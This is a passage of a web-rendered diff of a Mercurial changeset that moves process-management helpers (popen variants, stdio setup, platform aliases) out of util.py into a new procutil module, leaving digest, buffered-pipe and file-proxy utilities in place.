##// END OF EJS Templates
procutil: move process/executable management functions to new module...
Yuya Nishihara -
r37136:5be286db default
parent child Browse files
Show More
@@ -1,4091 +1,3851
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import imp
26 import io
27 import itertools
25 import itertools
28 import mmap
26 import mmap
29 import os
27 import os
30 import platform as pyplatform
28 import platform as pyplatform
31 import re as remod
29 import re as remod
32 import shutil
30 import shutil
33 import signal
34 import socket
31 import socket
35 import stat
32 import stat
36 import subprocess
37 import sys
33 import sys
38 import tempfile
34 import tempfile
39 import time
35 import time
40 import traceback
36 import traceback
41 import warnings
37 import warnings
42 import zlib
38 import zlib
43
39
44 from . import (
40 from . import (
45 encoding,
41 encoding,
46 error,
42 error,
47 i18n,
43 i18n,
48 node as nodemod,
44 node as nodemod,
49 policy,
45 policy,
50 pycompat,
46 pycompat,
51 urllibcompat,
47 urllibcompat,
52 )
48 )
53 from .utils import (
49 from .utils import (
54 dateutil,
50 dateutil,
51 procutil,
55 stringutil,
52 stringutil,
56 )
53 )
57
54
58 base85 = policy.importmod(r'base85')
55 base85 = policy.importmod(r'base85')
59 osutil = policy.importmod(r'osutil')
56 osutil = policy.importmod(r'osutil')
60 parsers = policy.importmod(r'parsers')
57 parsers = policy.importmod(r'parsers')
61
58
62 b85decode = base85.b85decode
59 b85decode = base85.b85decode
63 b85encode = base85.b85encode
60 b85encode = base85.b85encode
64
61
65 cookielib = pycompat.cookielib
62 cookielib = pycompat.cookielib
66 empty = pycompat.empty
63 empty = pycompat.empty
67 httplib = pycompat.httplib
64 httplib = pycompat.httplib
68 pickle = pycompat.pickle
65 pickle = pycompat.pickle
69 queue = pycompat.queue
66 queue = pycompat.queue
70 safehasattr = pycompat.safehasattr
67 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
68 socketserver = pycompat.socketserver
72 stderr = pycompat.stderr
73 stdin = pycompat.stdin
74 stdout = pycompat.stdout
75 bytesio = pycompat.bytesio
69 bytesio = pycompat.bytesio
76 # TODO deprecate stringio name, as it is a lie on Python 3.
70 # TODO deprecate stringio name, as it is a lie on Python 3.
77 stringio = bytesio
71 stringio = bytesio
78 xmlrpclib = pycompat.xmlrpclib
72 xmlrpclib = pycompat.xmlrpclib
79
73
80 httpserver = urllibcompat.httpserver
74 httpserver = urllibcompat.httpserver
81 urlerr = urllibcompat.urlerr
75 urlerr = urllibcompat.urlerr
82 urlreq = urllibcompat.urlreq
76 urlreq = urllibcompat.urlreq
83
77
84 # workaround for win32mbcs
78 # workaround for win32mbcs
85 _filenamebytestr = pycompat.bytestr
79 _filenamebytestr = pycompat.bytestr
86
80
87 def isatty(fp):
88 try:
89 return fp.isatty()
90 except AttributeError:
91 return False
92
93 # glibc determines buffering on first write to stdout - if we replace a TTY
94 # destined stdout with a pipe destined stdout (e.g. pager), we want line
95 # buffering
96 if isatty(stdout):
97 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
98
99 if pycompat.iswindows:
81 if pycompat.iswindows:
100 from . import windows as platform
82 from . import windows as platform
101 stdout = platform.winstdout(stdout)
102 else:
83 else:
103 from . import posix as platform
84 from . import posix as platform
104
85
105 _ = i18n._
86 _ = i18n._
106
87
107 bindunixsocket = platform.bindunixsocket
88 bindunixsocket = platform.bindunixsocket
108 cachestat = platform.cachestat
89 cachestat = platform.cachestat
109 checkexec = platform.checkexec
90 checkexec = platform.checkexec
110 checklink = platform.checklink
91 checklink = platform.checklink
111 copymode = platform.copymode
92 copymode = platform.copymode
112 expandglobs = platform.expandglobs
93 expandglobs = platform.expandglobs
113 explainexit = platform.explainexit
114 findexe = platform.findexe
115 getfsmountpoint = platform.getfsmountpoint
94 getfsmountpoint = platform.getfsmountpoint
116 getfstype = platform.getfstype
95 getfstype = platform.getfstype
117 _gethgcmd = platform.gethgcmd
118 getuser = platform.getuser
119 getpid = os.getpid
120 groupmembers = platform.groupmembers
96 groupmembers = platform.groupmembers
121 groupname = platform.groupname
97 groupname = platform.groupname
122 hidewindow = platform.hidewindow
123 isexec = platform.isexec
98 isexec = platform.isexec
124 isowner = platform.isowner
99 isowner = platform.isowner
125 listdir = osutil.listdir
100 listdir = osutil.listdir
126 localpath = platform.localpath
101 localpath = platform.localpath
127 lookupreg = platform.lookupreg
102 lookupreg = platform.lookupreg
128 makedir = platform.makedir
103 makedir = platform.makedir
129 nlinks = platform.nlinks
104 nlinks = platform.nlinks
130 normpath = platform.normpath
105 normpath = platform.normpath
131 normcase = platform.normcase
106 normcase = platform.normcase
132 normcasespec = platform.normcasespec
107 normcasespec = platform.normcasespec
133 normcasefallback = platform.normcasefallback
108 normcasefallback = platform.normcasefallback
134 openhardlinks = platform.openhardlinks
109 openhardlinks = platform.openhardlinks
135 oslink = platform.oslink
110 oslink = platform.oslink
136 parsepatchoutput = platform.parsepatchoutput
111 parsepatchoutput = platform.parsepatchoutput
137 pconvert = platform.pconvert
112 pconvert = platform.pconvert
138 poll = platform.poll
113 poll = platform.poll
139 popen = platform.popen
140 posixfile = platform.posixfile
114 posixfile = platform.posixfile
141 quotecommand = platform.quotecommand
142 readpipe = platform.readpipe
143 rename = platform.rename
115 rename = platform.rename
144 removedirs = platform.removedirs
116 removedirs = platform.removedirs
145 samedevice = platform.samedevice
117 samedevice = platform.samedevice
146 samefile = platform.samefile
118 samefile = platform.samefile
147 samestat = platform.samestat
119 samestat = platform.samestat
148 setbinary = platform.setbinary
149 setflags = platform.setflags
120 setflags = platform.setflags
150 setsignalhandler = platform.setsignalhandler
151 shellquote = platform.shellquote
152 shellsplit = platform.shellsplit
153 spawndetached = platform.spawndetached
154 split = platform.split
121 split = platform.split
155 sshargs = platform.sshargs
156 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
157 statisexec = platform.statisexec
123 statisexec = platform.statisexec
158 statislink = platform.statislink
124 statislink = platform.statislink
159 testpid = platform.testpid
160 umask = platform.umask
125 umask = platform.umask
161 unlink = platform.unlink
126 unlink = platform.unlink
162 username = platform.username
127 username = platform.username
163
128
164 try:
129 try:
165 recvfds = osutil.recvfds
130 recvfds = osutil.recvfds
166 except AttributeError:
131 except AttributeError:
167 pass
132 pass
168 try:
169 setprocname = osutil.setprocname
170 except AttributeError:
171 pass
172 try:
173 unblocksignal = osutil.unblocksignal
174 except AttributeError:
175 pass
176
133
177 # Python compatibility
134 # Python compatibility
178
135
179 _notset = object()
136 _notset = object()
180
137
181 def _rapply(f, xs):
138 def _rapply(f, xs):
182 if xs is None:
139 if xs is None:
183 # assume None means non-value of optional data
140 # assume None means non-value of optional data
184 return xs
141 return xs
185 if isinstance(xs, (list, set, tuple)):
142 if isinstance(xs, (list, set, tuple)):
186 return type(xs)(_rapply(f, x) for x in xs)
143 return type(xs)(_rapply(f, x) for x in xs)
187 if isinstance(xs, dict):
144 if isinstance(xs, dict):
188 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
145 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
189 return f(xs)
146 return f(xs)
190
147
191 def rapply(f, xs):
148 def rapply(f, xs):
192 """Apply function recursively to every item preserving the data structure
149 """Apply function recursively to every item preserving the data structure
193
150
194 >>> def f(x):
151 >>> def f(x):
195 ... return 'f(%s)' % x
152 ... return 'f(%s)' % x
196 >>> rapply(f, None) is None
153 >>> rapply(f, None) is None
197 True
154 True
198 >>> rapply(f, 'a')
155 >>> rapply(f, 'a')
199 'f(a)'
156 'f(a)'
200 >>> rapply(f, {'a'}) == {'f(a)'}
157 >>> rapply(f, {'a'}) == {'f(a)'}
201 True
158 True
202 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
159 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
203 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
160 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
204
161
205 >>> xs = [object()]
162 >>> xs = [object()]
206 >>> rapply(pycompat.identity, xs) is xs
163 >>> rapply(pycompat.identity, xs) is xs
207 True
164 True
208 """
165 """
209 if f is pycompat.identity:
166 if f is pycompat.identity:
210 # fast path mainly for py2
167 # fast path mainly for py2
211 return xs
168 return xs
212 return _rapply(f, xs)
169 return _rapply(f, xs)
213
170
214 def bitsfrom(container):
171 def bitsfrom(container):
215 bits = 0
172 bits = 0
216 for bit in container:
173 for bit in container:
217 bits |= bit
174 bits |= bit
218 return bits
175 return bits
219
176
220 # python 2.6 still have deprecation warning enabled by default. We do not want
177 # python 2.6 still have deprecation warning enabled by default. We do not want
221 # to display anything to standard user so detect if we are running test and
178 # to display anything to standard user so detect if we are running test and
222 # only use python deprecation warning in this case.
179 # only use python deprecation warning in this case.
223 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
180 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
224 if _dowarn:
181 if _dowarn:
225 # explicitly unfilter our warning for python 2.7
182 # explicitly unfilter our warning for python 2.7
226 #
183 #
227 # The option of setting PYTHONWARNINGS in the test runner was investigated.
184 # The option of setting PYTHONWARNINGS in the test runner was investigated.
228 # However, module name set through PYTHONWARNINGS was exactly matched, so
185 # However, module name set through PYTHONWARNINGS was exactly matched, so
229 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
186 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
230 # makes the whole PYTHONWARNINGS thing useless for our usecase.
187 # makes the whole PYTHONWARNINGS thing useless for our usecase.
231 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
189 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
190 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
234 if _dowarn and pycompat.ispy3:
191 if _dowarn and pycompat.ispy3:
235 # silence warning emitted by passing user string to re.sub()
192 # silence warning emitted by passing user string to re.sub()
236 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
193 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
237 r'mercurial')
194 r'mercurial')
238 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
195 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
239 DeprecationWarning, r'mercurial')
196 DeprecationWarning, r'mercurial')
240
197
241 def nouideprecwarn(msg, version, stacklevel=1):
198 def nouideprecwarn(msg, version, stacklevel=1):
242 """Issue an python native deprecation warning
199 """Issue an python native deprecation warning
243
200
244 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
201 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
245 """
202 """
246 if _dowarn:
203 if _dowarn:
247 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
204 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
248 " update your code.)") % version
205 " update your code.)") % version
249 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
250
207
251 DIGESTS = {
208 DIGESTS = {
252 'md5': hashlib.md5,
209 'md5': hashlib.md5,
253 'sha1': hashlib.sha1,
210 'sha1': hashlib.sha1,
254 'sha512': hashlib.sha512,
211 'sha512': hashlib.sha512,
255 }
212 }
256 # List of digest types from strongest to weakest
213 # List of digest types from strongest to weakest
257 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
214 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
258
215
259 for k in DIGESTS_BY_STRENGTH:
216 for k in DIGESTS_BY_STRENGTH:
260 assert k in DIGESTS
217 assert k in DIGESTS
261
218
262 class digester(object):
219 class digester(object):
263 """helper to compute digests.
220 """helper to compute digests.
264
221
265 This helper can be used to compute one or more digests given their name.
222 This helper can be used to compute one or more digests given their name.
266
223
267 >>> d = digester([b'md5', b'sha1'])
224 >>> d = digester([b'md5', b'sha1'])
268 >>> d.update(b'foo')
225 >>> d.update(b'foo')
269 >>> [k for k in sorted(d)]
226 >>> [k for k in sorted(d)]
270 ['md5', 'sha1']
227 ['md5', 'sha1']
271 >>> d[b'md5']
228 >>> d[b'md5']
272 'acbd18db4cc2f85cedef654fccc4a4d8'
229 'acbd18db4cc2f85cedef654fccc4a4d8'
273 >>> d[b'sha1']
230 >>> d[b'sha1']
274 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
231 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
275 >>> digester.preferred([b'md5', b'sha1'])
232 >>> digester.preferred([b'md5', b'sha1'])
276 'sha1'
233 'sha1'
277 """
234 """
278
235
279 def __init__(self, digests, s=''):
236 def __init__(self, digests, s=''):
280 self._hashes = {}
237 self._hashes = {}
281 for k in digests:
238 for k in digests:
282 if k not in DIGESTS:
239 if k not in DIGESTS:
283 raise error.Abort(_('unknown digest type: %s') % k)
240 raise error.Abort(_('unknown digest type: %s') % k)
284 self._hashes[k] = DIGESTS[k]()
241 self._hashes[k] = DIGESTS[k]()
285 if s:
242 if s:
286 self.update(s)
243 self.update(s)
287
244
288 def update(self, data):
245 def update(self, data):
289 for h in self._hashes.values():
246 for h in self._hashes.values():
290 h.update(data)
247 h.update(data)
291
248
292 def __getitem__(self, key):
249 def __getitem__(self, key):
293 if key not in DIGESTS:
250 if key not in DIGESTS:
294 raise error.Abort(_('unknown digest type: %s') % k)
251 raise error.Abort(_('unknown digest type: %s') % k)
295 return nodemod.hex(self._hashes[key].digest())
252 return nodemod.hex(self._hashes[key].digest())
296
253
297 def __iter__(self):
254 def __iter__(self):
298 return iter(self._hashes)
255 return iter(self._hashes)
299
256
300 @staticmethod
257 @staticmethod
301 def preferred(supported):
258 def preferred(supported):
302 """returns the strongest digest type in both supported and DIGESTS."""
259 """returns the strongest digest type in both supported and DIGESTS."""
303
260
304 for k in DIGESTS_BY_STRENGTH:
261 for k in DIGESTS_BY_STRENGTH:
305 if k in supported:
262 if k in supported:
306 return k
263 return k
307 return None
264 return None
308
265
309 class digestchecker(object):
266 class digestchecker(object):
310 """file handle wrapper that additionally checks content against a given
267 """file handle wrapper that additionally checks content against a given
311 size and digests.
268 size and digests.
312
269
313 d = digestchecker(fh, size, {'md5': '...'})
270 d = digestchecker(fh, size, {'md5': '...'})
314
271
315 When multiple digests are given, all of them are validated.
272 When multiple digests are given, all of them are validated.
316 """
273 """
317
274
318 def __init__(self, fh, size, digests):
275 def __init__(self, fh, size, digests):
319 self._fh = fh
276 self._fh = fh
320 self._size = size
277 self._size = size
321 self._got = 0
278 self._got = 0
322 self._digests = dict(digests)
279 self._digests = dict(digests)
323 self._digester = digester(self._digests.keys())
280 self._digester = digester(self._digests.keys())
324
281
325 def read(self, length=-1):
282 def read(self, length=-1):
326 content = self._fh.read(length)
283 content = self._fh.read(length)
327 self._digester.update(content)
284 self._digester.update(content)
328 self._got += len(content)
285 self._got += len(content)
329 return content
286 return content
330
287
331 def validate(self):
288 def validate(self):
332 if self._size != self._got:
289 if self._size != self._got:
333 raise error.Abort(_('size mismatch: expected %d, got %d') %
290 raise error.Abort(_('size mismatch: expected %d, got %d') %
334 (self._size, self._got))
291 (self._size, self._got))
335 for k, v in self._digests.items():
292 for k, v in self._digests.items():
336 if v != self._digester[k]:
293 if v != self._digester[k]:
337 # i18n: first parameter is a digest name
294 # i18n: first parameter is a digest name
338 raise error.Abort(_('%s mismatch: expected %s, got %s') %
295 raise error.Abort(_('%s mismatch: expected %s, got %s') %
339 (k, v, self._digester[k]))
296 (k, v, self._digester[k]))
340
297
341 try:
298 try:
342 buffer = buffer
299 buffer = buffer
343 except NameError:
300 except NameError:
344 def buffer(sliceable, offset=0, length=None):
301 def buffer(sliceable, offset=0, length=None):
345 if length is not None:
302 if length is not None:
346 return memoryview(sliceable)[offset:offset + length]
303 return memoryview(sliceable)[offset:offset + length]
347 return memoryview(sliceable)[offset:]
304 return memoryview(sliceable)[offset:]
348
305
349 closefds = pycompat.isposix
350
351 _chunksize = 4096
306 _chunksize = 4096
352
307
353 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
354 """a manually buffered input pipe
309 """a manually buffered input pipe
355
310
356 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
357 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
358 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
359
314
360 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
361 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
362 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
363
318
364 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
365 module from the python stdlib.
320 module from the python stdlib.
366 """
321 """
367 def __new__(cls, fh):
322 def __new__(cls, fh):
368 # If we receive a fileobjectproxy, we need to use a variation of this
323 # If we receive a fileobjectproxy, we need to use a variation of this
369 # class that notifies observers about activity.
324 # class that notifies observers about activity.
370 if isinstance(fh, fileobjectproxy):
325 if isinstance(fh, fileobjectproxy):
371 cls = observedbufferedinputpipe
326 cls = observedbufferedinputpipe
372
327
373 return super(bufferedinputpipe, cls).__new__(cls)
328 return super(bufferedinputpipe, cls).__new__(cls)
374
329
375 def __init__(self, input):
330 def __init__(self, input):
376 self._input = input
331 self._input = input
377 self._buffer = []
332 self._buffer = []
378 self._eof = False
333 self._eof = False
379 self._lenbuf = 0
334 self._lenbuf = 0
380
335
381 @property
336 @property
382 def hasbuffer(self):
337 def hasbuffer(self):
383 """True is any data is currently buffered
338 """True is any data is currently buffered
384
339
385 This will be used externally a pre-step for polling IO. If there is
340 This will be used externally a pre-step for polling IO. If there is
386 already data then no polling should be set in place."""
341 already data then no polling should be set in place."""
387 return bool(self._buffer)
342 return bool(self._buffer)
388
343
389 @property
344 @property
390 def closed(self):
345 def closed(self):
391 return self._input.closed
346 return self._input.closed
392
347
393 def fileno(self):
348 def fileno(self):
394 return self._input.fileno()
349 return self._input.fileno()
395
350
396 def close(self):
351 def close(self):
397 return self._input.close()
352 return self._input.close()
398
353
399 def read(self, size):
354 def read(self, size):
400 while (not self._eof) and (self._lenbuf < size):
355 while (not self._eof) and (self._lenbuf < size):
401 self._fillbuffer()
356 self._fillbuffer()
402 return self._frombuffer(size)
357 return self._frombuffer(size)
403
358
404 def readline(self, *args, **kwargs):
359 def readline(self, *args, **kwargs):
405 if 1 < len(self._buffer):
360 if 1 < len(self._buffer):
406 # this should not happen because both read and readline end with a
361 # this should not happen because both read and readline end with a
407 # _frombuffer call that collapse it.
362 # _frombuffer call that collapse it.
408 self._buffer = [''.join(self._buffer)]
363 self._buffer = [''.join(self._buffer)]
409 self._lenbuf = len(self._buffer[0])
364 self._lenbuf = len(self._buffer[0])
410 lfi = -1
365 lfi = -1
411 if self._buffer:
366 if self._buffer:
412 lfi = self._buffer[-1].find('\n')
367 lfi = self._buffer[-1].find('\n')
413 while (not self._eof) and lfi < 0:
368 while (not self._eof) and lfi < 0:
414 self._fillbuffer()
369 self._fillbuffer()
415 if self._buffer:
370 if self._buffer:
416 lfi = self._buffer[-1].find('\n')
371 lfi = self._buffer[-1].find('\n')
417 size = lfi + 1
372 size = lfi + 1
418 if lfi < 0: # end of file
373 if lfi < 0: # end of file
419 size = self._lenbuf
374 size = self._lenbuf
420 elif 1 < len(self._buffer):
375 elif 1 < len(self._buffer):
421 # we need to take previous chunks into account
376 # we need to take previous chunks into account
422 size += self._lenbuf - len(self._buffer[-1])
377 size += self._lenbuf - len(self._buffer[-1])
423 return self._frombuffer(size)
378 return self._frombuffer(size)
424
379
425 def _frombuffer(self, size):
380 def _frombuffer(self, size):
426 """return at most 'size' data from the buffer
381 """return at most 'size' data from the buffer
427
382
428 The data are removed from the buffer."""
383 The data are removed from the buffer."""
429 if size == 0 or not self._buffer:
384 if size == 0 or not self._buffer:
430 return ''
385 return ''
431 buf = self._buffer[0]
386 buf = self._buffer[0]
432 if 1 < len(self._buffer):
387 if 1 < len(self._buffer):
433 buf = ''.join(self._buffer)
388 buf = ''.join(self._buffer)
434
389
435 data = buf[:size]
390 data = buf[:size]
436 buf = buf[len(data):]
391 buf = buf[len(data):]
437 if buf:
392 if buf:
438 self._buffer = [buf]
393 self._buffer = [buf]
439 self._lenbuf = len(buf)
394 self._lenbuf = len(buf)
440 else:
395 else:
441 self._buffer = []
396 self._buffer = []
442 self._lenbuf = 0
397 self._lenbuf = 0
443 return data
398 return data
444
399
445 def _fillbuffer(self):
400 def _fillbuffer(self):
446 """read data to the buffer"""
401 """read data to the buffer"""
447 data = os.read(self._input.fileno(), _chunksize)
402 data = os.read(self._input.fileno(), _chunksize)
448 if not data:
403 if not data:
449 self._eof = True
404 self._eof = True
450 else:
405 else:
451 self._lenbuf += len(data)
406 self._lenbuf += len(data)
452 self._buffer.append(data)
407 self._buffer.append(data)
453
408
454 return data
409 return data
455
410
456 def mmapread(fp):
411 def mmapread(fp):
457 try:
412 try:
458 fd = getattr(fp, 'fileno', lambda: fp)()
413 fd = getattr(fp, 'fileno', lambda: fp)()
459 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
414 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
460 except ValueError:
415 except ValueError:
461 # Empty files cannot be mmapped, but mmapread should still work. Check
416 # Empty files cannot be mmapped, but mmapread should still work. Check
462 # if the file is empty, and if so, return an empty buffer.
417 # if the file is empty, and if so, return an empty buffer.
463 if os.fstat(fd).st_size == 0:
418 if os.fstat(fd).st_size == 0:
464 return ''
419 return ''
465 raise
420 raise
466
421
467 def popen2(cmd, env=None, newlines=False):
468 # Setting bufsize to -1 lets the system decide the buffer size.
469 # The default for bufsize is 0, meaning unbuffered. This leads to
470 # poor performance on Mac OS X: http://bugs.python.org/issue4194
471 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
472 close_fds=closefds,
473 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
474 universal_newlines=newlines,
475 env=env)
476 return p.stdin, p.stdout
477
478 def popen3(cmd, env=None, newlines=False):
479 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
480 return stdin, stdout, stderr
481
482 def popen4(cmd, env=None, newlines=False, bufsize=-1):
483 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
484 close_fds=closefds,
485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
486 stderr=subprocess.PIPE,
487 universal_newlines=newlines,
488 env=env)
489 return p.stdin, p.stdout, p.stderr, p
490
491 class fileobjectproxy(object):
422 class fileobjectproxy(object):
492 """A proxy around file objects that tells a watcher when events occur.
423 """A proxy around file objects that tells a watcher when events occur.
493
424
494 This type is intended to only be used for testing purposes. Think hard
425 This type is intended to only be used for testing purposes. Think hard
495 before using it in important code.
426 before using it in important code.
496 """
427 """
497 __slots__ = (
428 __slots__ = (
498 r'_orig',
429 r'_orig',
499 r'_observer',
430 r'_observer',
500 )
431 )
501
432
502 def __init__(self, fh, observer):
433 def __init__(self, fh, observer):
503 object.__setattr__(self, r'_orig', fh)
434 object.__setattr__(self, r'_orig', fh)
504 object.__setattr__(self, r'_observer', observer)
435 object.__setattr__(self, r'_observer', observer)
505
436
506 def __getattribute__(self, name):
437 def __getattribute__(self, name):
507 ours = {
438 ours = {
508 r'_observer',
439 r'_observer',
509
440
510 # IOBase
441 # IOBase
511 r'close',
442 r'close',
512 # closed if a property
443 # closed if a property
513 r'fileno',
444 r'fileno',
514 r'flush',
445 r'flush',
515 r'isatty',
446 r'isatty',
516 r'readable',
447 r'readable',
517 r'readline',
448 r'readline',
518 r'readlines',
449 r'readlines',
519 r'seek',
450 r'seek',
520 r'seekable',
451 r'seekable',
521 r'tell',
452 r'tell',
522 r'truncate',
453 r'truncate',
523 r'writable',
454 r'writable',
524 r'writelines',
455 r'writelines',
525 # RawIOBase
456 # RawIOBase
526 r'read',
457 r'read',
527 r'readall',
458 r'readall',
528 r'readinto',
459 r'readinto',
529 r'write',
460 r'write',
530 # BufferedIOBase
461 # BufferedIOBase
531 # raw is a property
462 # raw is a property
532 r'detach',
463 r'detach',
533 # read defined above
464 # read defined above
534 r'read1',
465 r'read1',
535 # readinto defined above
466 # readinto defined above
536 # write defined above
467 # write defined above
537 }
468 }
538
469
539 # We only observe some methods.
470 # We only observe some methods.
540 if name in ours:
471 if name in ours:
541 return object.__getattribute__(self, name)
472 return object.__getattribute__(self, name)
542
473
543 return getattr(object.__getattribute__(self, r'_orig'), name)
474 return getattr(object.__getattribute__(self, r'_orig'), name)
544
475
545 def __nonzero__(self):
476 def __nonzero__(self):
546 return bool(object.__getattribute__(self, r'_orig'))
477 return bool(object.__getattribute__(self, r'_orig'))
547
478
548 __bool__ = __nonzero__
479 __bool__ = __nonzero__
549
480
550 def __delattr__(self, name):
481 def __delattr__(self, name):
551 return delattr(object.__getattribute__(self, r'_orig'), name)
482 return delattr(object.__getattribute__(self, r'_orig'), name)
552
483
553 def __setattr__(self, name, value):
484 def __setattr__(self, name, value):
554 return setattr(object.__getattribute__(self, r'_orig'), name, value)
485 return setattr(object.__getattribute__(self, r'_orig'), name, value)
555
486
556 def __iter__(self):
487 def __iter__(self):
557 return object.__getattribute__(self, r'_orig').__iter__()
488 return object.__getattribute__(self, r'_orig').__iter__()
558
489
559 def _observedcall(self, name, *args, **kwargs):
490 def _observedcall(self, name, *args, **kwargs):
560 # Call the original object.
491 # Call the original object.
561 orig = object.__getattribute__(self, r'_orig')
492 orig = object.__getattribute__(self, r'_orig')
562 res = getattr(orig, name)(*args, **kwargs)
493 res = getattr(orig, name)(*args, **kwargs)
563
494
564 # Call a method on the observer of the same name with arguments
495 # Call a method on the observer of the same name with arguments
565 # so it can react, log, etc.
496 # so it can react, log, etc.
566 observer = object.__getattribute__(self, r'_observer')
497 observer = object.__getattribute__(self, r'_observer')
567 fn = getattr(observer, name, None)
498 fn = getattr(observer, name, None)
568 if fn:
499 if fn:
569 fn(res, *args, **kwargs)
500 fn(res, *args, **kwargs)
570
501
571 return res
502 return res
572
503
573 def close(self, *args, **kwargs):
504 def close(self, *args, **kwargs):
574 return object.__getattribute__(self, r'_observedcall')(
505 return object.__getattribute__(self, r'_observedcall')(
575 r'close', *args, **kwargs)
506 r'close', *args, **kwargs)
576
507
577 def fileno(self, *args, **kwargs):
508 def fileno(self, *args, **kwargs):
578 return object.__getattribute__(self, r'_observedcall')(
509 return object.__getattribute__(self, r'_observedcall')(
579 r'fileno', *args, **kwargs)
510 r'fileno', *args, **kwargs)
580
511
581 def flush(self, *args, **kwargs):
512 def flush(self, *args, **kwargs):
582 return object.__getattribute__(self, r'_observedcall')(
513 return object.__getattribute__(self, r'_observedcall')(
583 r'flush', *args, **kwargs)
514 r'flush', *args, **kwargs)
584
515
585 def isatty(self, *args, **kwargs):
516 def isatty(self, *args, **kwargs):
586 return object.__getattribute__(self, r'_observedcall')(
517 return object.__getattribute__(self, r'_observedcall')(
587 r'isatty', *args, **kwargs)
518 r'isatty', *args, **kwargs)
588
519
589 def readable(self, *args, **kwargs):
520 def readable(self, *args, **kwargs):
590 return object.__getattribute__(self, r'_observedcall')(
521 return object.__getattribute__(self, r'_observedcall')(
591 r'readable', *args, **kwargs)
522 r'readable', *args, **kwargs)
592
523
593 def readline(self, *args, **kwargs):
524 def readline(self, *args, **kwargs):
594 return object.__getattribute__(self, r'_observedcall')(
525 return object.__getattribute__(self, r'_observedcall')(
595 r'readline', *args, **kwargs)
526 r'readline', *args, **kwargs)
596
527
597 def readlines(self, *args, **kwargs):
528 def readlines(self, *args, **kwargs):
598 return object.__getattribute__(self, r'_observedcall')(
529 return object.__getattribute__(self, r'_observedcall')(
599 r'readlines', *args, **kwargs)
530 r'readlines', *args, **kwargs)
600
531
601 def seek(self, *args, **kwargs):
532 def seek(self, *args, **kwargs):
602 return object.__getattribute__(self, r'_observedcall')(
533 return object.__getattribute__(self, r'_observedcall')(
603 r'seek', *args, **kwargs)
534 r'seek', *args, **kwargs)
604
535
605 def seekable(self, *args, **kwargs):
536 def seekable(self, *args, **kwargs):
606 return object.__getattribute__(self, r'_observedcall')(
537 return object.__getattribute__(self, r'_observedcall')(
607 r'seekable', *args, **kwargs)
538 r'seekable', *args, **kwargs)
608
539
609 def tell(self, *args, **kwargs):
